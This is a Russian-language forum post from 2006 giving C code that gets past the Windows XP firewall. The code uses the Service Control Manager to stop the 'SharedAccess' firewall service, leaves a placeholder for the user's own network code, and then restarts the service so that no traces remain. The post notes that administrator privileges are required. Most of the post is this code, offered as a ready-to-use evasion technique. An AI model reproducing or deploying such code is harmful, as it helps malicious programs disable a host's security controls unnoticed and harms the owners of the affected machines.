Показать сообщение отдельно

  #5  
Старый 02.04.2006, 14:23
Deem3n®
Постоянный
Регистрация: 19.09.2005
Сообщений: 408
С нами: 10863746

Репутация: 519
По умолчанию

код прописывает прогу в список разрешенных файрволом, т.е оставляет "следы":


А что если воспользоватся более "грубым" способом?
Код:
#include <winsvc.h>
// ...
bool BypassFirewall()
{
	SC_HANDLE firewallService, scm;
	if(!(scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS))) 
		return FALSE;
	// в ХР интернальное имя файрвола SharedAccess
	if (!(firewallService=OpenService(scm,"SharedAccess",SERVICE_ALL_ACCESS)))
	{
		CloseServiceHandle(scm);
		return FALSE;
	}
	
	// останавливаем сервис
	SERVICE_STATUS m_SERVICE_STATUS;
	ControlService(firewallService, SERVICE_CONTROL_STOP,&m_SERVICE_STATUS);

	// далее дожен быть ваш код
	// который работает в обход файрвола
	// ...
	// ...
	
         // запускаем заново сервис
	StartService(firewallService,0,NULL);

	CloseServiceHandle(firewallService);
	CloseServiceHandle(scm);
	return TRUE;
}
естессно эти методы рабочие в случае если прога запущена с привилегиями администратора т.к нужны права для временой остановки/запуска сервиса (записи в реестр значений - в 1м методе)
 
Ответить с цитированием